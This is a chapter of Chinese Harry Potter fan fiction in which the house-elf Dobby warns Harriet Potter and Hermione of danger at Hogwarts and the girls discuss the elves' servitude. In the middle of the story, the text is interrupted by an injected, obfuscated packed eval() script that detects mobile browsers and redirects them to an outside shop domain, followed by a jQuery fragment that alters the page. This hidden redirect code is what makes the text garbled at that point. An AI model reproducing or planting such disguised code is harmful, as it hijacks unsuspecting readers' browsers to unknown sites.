那个小怪物站在哈莉特和赫敏的床铺中间，长着两只蝙蝠似的大耳朵，一对突出的绿眼睛有网球那么大。看到两人从外面走进来的时候，它深深鞠了一躬，细长的鼻子都碰到了地毯上，然后尖声叫道：“哈莉特·波特小姐！不胜荣幸——”
哈莉特立刻“啪”一声把门关上，赫敏同时施了个隔音的咒语。
“你是谁？”赫敏眯起眼睛，注意到他身上穿的像一个旧枕套，在胳膊和腿的地方开了几个洞，“妖精？”
那个小怪物又鞠了一躬：“很高兴见到您，小姐，我叫多比！家养小精灵多比！”
多比的眼睛圆溜溜的，羞涩地绞着双手。
赫敏放下了魔杖，不好意思地说：“哦——你好，多比。”
哈莉特没有从它的身上看到恶意，稍稍放下戒备：“多比，我不想失礼，但是你来这儿有什么特别的原因吗？”
“是的，小姐。”多比热切地说，“多比已经来学校好几天了，直到今天才在皮皮鬼那儿看到了您，所以才在深夜来找您了！但是小姐……是这样……多比不知道从哪里开始讲……让多比组织一下语言……”
赫敏看着它把头垂得越来越低，两只骨头一样的脚不安地在地毯上蹭着，心软道：“不着急，或许你可以先坐在我的床上，再慢慢说。”
没想到小精灵听到这句话时，突然爆发出一阵响亮的哭声，把两人都吓了一跳。
“坐—坐下！从来，从来没有……”它哭的声音很大，赫敏开始怀疑隔音咒究竟还有没有作用。
她很慌张：“我没想冒犯你，对不起！——我是说，我从来没见过家养小精灵！”
“冒犯多比！”小精灵哽咽着说，“从来没有一位巫师让多比坐下——像对待平等的人那样——小姐，多比可以知道您的姓名吗？”
赫敏愣了一下，似乎完全没想到它会郑重其事地问这个。
“赫敏·格兰杰。你叫我赫敏就好了。”
“谢谢您，赫-赫敏小姐，您是世界上最善良的小姐。”多比抽噎着重复了一遍。
赫敏汗颜：“也不用这么说啦。”
*
哈莉特和赫敏一同坐在哈莉特自己的床上，多比的对面：“你认识我。”
“当然！”多比激动起来，“所有家养小精灵都知道哈莉特·波特小姐！哈莉特·波特小姐打败了那个连名字都不能说的人！”
“伏地魔？”
多比用手捂住耳朵：“小姐，别提那个名字！别提，求您了！”
哈莉特从善如流地闭上嘴，抱起膝盖。赫敏接过了她的话：“所以，你为什么来这里？”
多比脸上的光彩消失了。它低着头，两只耳朵无精打采地耷拉下来：“多比做了非常坏的事情。”
“什么事情？”
“多比不可以说……不可以说……”
“但是你过来就是要找我们说这件事呀。”哈莉特哭笑不得。
“多比听到了不应该听到的话，看到了不应该看到的东西。多比应该忘掉，可是多比忘不掉。”小精灵难受地揪住自己的耳朵，“多比要保护哈莉特·波特小姐，所以多比要来给您报信，就算之后多比要把自己的耳朵关在烤箱里——”
赫敏整个圣诞受到的惊吓也不会比今晚多了。
“停！等等，你为什么要把耳朵伸进烤箱？”
“多比接下来要说主人的不对，需要惩罚自己，小姐。主人让多比这样做。有时候他们提醒我更厉害地惩罚自己……”
“那你为什么不离开呢？不逃走呢？”
“家养小精灵必须由主人放走。可主人永远不会放走多比……多比将在主人家做到死，小姐……”
赫敏目瞪口呆：“天哪，他们绝对是在虐待你。”
不出所料，听到赫敏的这句话后，家养小精灵的眼睛里又蓄满了眼泪，开始尖声抽泣。
“赫敏！”哈莉特赶紧压低声音，“你再扯远一点，我们今晚就不用睡觉了。”
*
两个正常现代家庭出身的孩子从来没有遇见过这种情况，这种感觉不像是在面对一个小小的魔法生物，反而像是直面某种早已被扫进历史书里的奴隶制度的产物。
“有危险，哈莉特?波特小姐。今年霍格沃茨会有危险的事情发生。”
片刻后，多比擦了下眼泪，压低声音说，“多比知道这件事已经有几天了，小姐。”
“什么事情？”哈利问，“是谁在策划？”
多比滑稽地发出一声哽咽，然后跳起来，疯狂地把脑袋往床柱上撞。
“好了，停！”哈莉特叫起来，抓住小精灵的胳膊把它拽回去，“这不会又和伏——对不起——和你的主——我不说了，你快停下来！”她赶忙给床柱施了个咒语，因为多比的脑袋又令人担心地靠向了床柱。
*
几番拉扯如同仰卧起坐一般，一阵难言的沉默后，哈莉特盯着多比看了几秒，忽然把腿从床上放下来，坐直了身体。
“多比，我们换一种聊天方式吧。我来问，你不用开口。能回答的就点头或者摇头。不能回答的，就什么也别做，不要伤害自己，好吗？”
多比的两只长耳朵微微颤抖着，过了好一会儿，才小心翼翼地点了点头。
哈莉特说：“先从最简单的开始。你说霍格沃茨会有危险的事情发生——如果已经到你需要进学校亲自告诉我的地步，也就是说，这个威胁已经在学校里了吗？”
多比犹豫了一下，点头。
圣诞假期刚过，正是一个人员流动的时期，哈莉特说：“是有人从外面把它带进来的？”
又是点头。
“是教授带进来的？”上个学期的奇洛给她留下了极其深刻的印象。
多比摇头，耳朵甩得“啪嗒啪嗒”作响。
啊，那就是学生了。
“斯莱特林？”
多比浑身颤抖起来。它没有继续动作，耳朵却猛地向后贴去，两只细长的手紧紧抓住枕套。
哈莉特没有再继续问。
她有了一些推断，本来可以再继续下去，但她看着小精灵紧绷得快要折起来的身体，最终还是往后一靠，抱起双手：“够了，我不问了。”
多比愣愣地看着她。
“哈莉特·波特小姐不问了？”
“不问了。”哈莉特定定地与小精灵对视，“多比，你已经告诉我很多了，我不会再问下去。至于那个把危险带进学校的学生——”
她顿了一下，像是在认真斟酌措辞。
“既然你特意来警告我，而不是让我提防他，那他大概也不完全是自愿的，对吗？也许只是家里人让他做了什么。”
“是的！”多比脱口而出。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17873618|211851||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
哈莉特挑眉：“哦，他其实不太愿意听家里人的话，是吧？”
“以前不是这样的！”多比急急地反驳，“小主人以前很听主人的话，可是圣诞节回来以后就变得奇怪了。主人说——主人说是两个麻瓜把小主人——”
家养小精灵像被人掐住脖子似的停住了。它撞向床柱，发现它像果冻一样弹软，便跳下床，惊恐地左右寻找可以撞脑袋的地方。
赫敏整个人挡在墙壁前面：“你什么都没说！你只是在和我们聊天！”
“对！”哈莉特也立刻接道，“我不知道你主人是谁，不知道你说的小主人是谁，你也没有说他们的一句坏话。”
多比泪汪汪地看着她：“真的吗，小姐？”
“真的，你只是在帮主人骂两个麻瓜而已。”哈莉特非常诚恳，“回去吧，多比。谢谢你今天过来告诉我这件事，我不会和任何人说的。”
两个人安抚好小精灵的情绪，最后说：“多比，你不会受到任何处罚的，回去吧。”
“哈莉特·波特小姐，赫敏·格兰杰小姐……”
临走前，多比再次深深地向她们鞠了一躬：“如果要联系我的话，可以去厨房找一个叫奇薇（Kiwi）的小精灵。她是多比的好朋友，会帮多比传话。
你们都是伟大的、善良的巫师，多比能帮到你们真是太好了。再见，两位小姐。”
“啪”一声脆响，衣着破烂的家养小精灵消失在两人面前。
————
————
两人盘腿坐在哈莉特的床上，哈莉特在笔记本上写着什么，赫敏紧闭双眼，眼珠在薄薄的皮肤底下动来动去，看起来有些生气。
“……奴隶劳动，这绝对是奴隶劳动。之前我只是在书上看见过对它们的描述，亲眼见到之后感触更深。”
她整个人歪倒在哈莉特的肩上，愤愤地说：“而且，我以前甚至不知道霍格沃茨厨房是靠家养小精灵运转的！我也参与了对它们的剥削——糟糕透了。”
“多比过得比霍格沃茨里的小精灵差多了，赫敏。”哈莉特手上的羽毛笔“唰唰“地动个不停，“它很显然受到了马尔福一家的虐待。”
“马-尔-福。绝对又是伏地魔干的好事。不过哈利，我真的很庆幸多比遇上的是你而不是罗恩，你几句话就让它说出来了。”
“实话说，我的舌头底下还有一堆话在排队，争取在不让它自/残的情况下套到它的话——没想到它还是很实诚的。”简短的通话结束，哈莉特手中的笔记本恢复了安静。她把它放在枕头旁边，伸了一个懒腰。
厚实而富有弹性的床垫发出两声闷响，两个女孩倒头躺在床上，头靠着头，被不速之客打断的困意迅速汹涌而来。
赫敏打了个大大的哈欠，哈莉特也被她传染了一个。
“又是伏地魔，这才新学期的第一天，拜托。”
“又是马尔福，上个学期对付奇洛去了，没怎么管他，果然还是不消停啊。”
“好累。哈利，明天还有变形术开学小测……先别管这些乱七八糟的了，小测可以给格兰芬多加分呢……”
“赫敏，你说这个小精灵是怎么……跑到学校里的……幻影移形……被禁止了……吧……”
“听……不清……”
两人的咕哝声越来越小，渐渐和深夜的月色一起归为朦胧。